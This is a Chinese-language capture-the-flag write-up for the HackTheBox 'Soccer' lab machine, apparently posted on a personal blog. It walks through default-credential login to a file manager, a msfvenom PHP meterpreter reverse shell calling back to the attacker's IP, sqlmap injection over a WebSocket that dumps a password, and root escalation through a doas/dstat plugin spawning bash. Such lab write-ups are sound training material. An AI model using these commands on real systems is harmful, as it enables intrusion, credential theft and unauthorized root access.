挑了个看起来简单的靶场复健一下。
0x00 信息收集
IP:10.10.11.194
开放了80和22。看了下主页都是和球球有关的东西,毫无兴趣捏^^。
扫描,用到的字典:戳我
python3 dirsearch.py -w ../../wordlist/all-dirs.txt -u http://soccer.htb/
扫描到路径/tiny/,进入后台界面:

谷歌高搜一下CPP Programmers,可以找到这个文件:戳我,这里直接有默认登录口令的明文信息:

使用admin/admin@123就可以直接登录进入后台啦^^
0x01 漏洞利用
看起来文件管理器没有过滤,就考虑msf生成php🐎:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=5555 > test.php
监听:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 10.10.14.16 msf6 exploit(multi/handler) > set lport 5555
上线:

这个时候在/home目录下可以找到用户player,里面有user.txt(flag),可惜此时无法读取。
cat /etc/hosts:
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb 127.0.1.1 ubuntu-focal ubuntu-focal
在本地也绑定一下这个域名,访问:

注册然后再次登录进入该页面:

然后瓶颈了,看了下参考资料是分析js源代码:
<script>
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
……
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
……
</script>
该网站使用了ws协议传参,使用sqlmap开梭:
python3 sqlmap.py --url "ws://soc-player.soccer.htb:9091" --data='{"id":1}' --dbs

–dump一下soccer_db:
+------+-------------------+----------------------+----------+ | id | email | password | username | +------+-------------------+----------------------+----------+ | 1324 | player@player.htb | PlayerOftheMatch2022 | player | +------+-------------------+----------------------+----------+
ssh 10.10.11.194 -l player,密码PlayerOftheMatch2022,登录即可看到flag。
0x02 权限提升
find / -user root -perm -4000 -print 2>/dev/null
结果有/usr/local/bin/doas,doas可以替代sudo,维基百科介绍如下:
doas 是一个用来以其他用户身份执行指令的程序。系统管理员可以对其进行设置,赋予指定用户执行特定指令的权限。其为以ISC许可证许可的自由及开放源代码软件,可在UNIX与类Unix操作系统中使用。 doas是由Ted Unangst为OpenBSD所开发的,是一种更简单且更安全的sudo替代品。
查找doas的配置文件位置:
find / -type f -name doas.conf 2>/dev/null
查看doas的配置文件:
cat /usr/local/etc/doas.conf
配置文件的内容如下:
permit nopass player as root cmd /usr/bin/dstat
提权资料参考:戳我
不用资料里那么麻烦,可以写一个调用bash的py脚本让doas去调用。
> cd /usr/local/share/dstat/(/usr/share/dstat无权限)
> touch dstat_shawroot.py
> vim dstat_shawroot.py
import os
os.system('bash -i')
> chmod 777 dstat_shawroot.py
> doas /usr/bin/dstat --shawroot
成功提升到root权限,切换到root目录下即可看到flag。
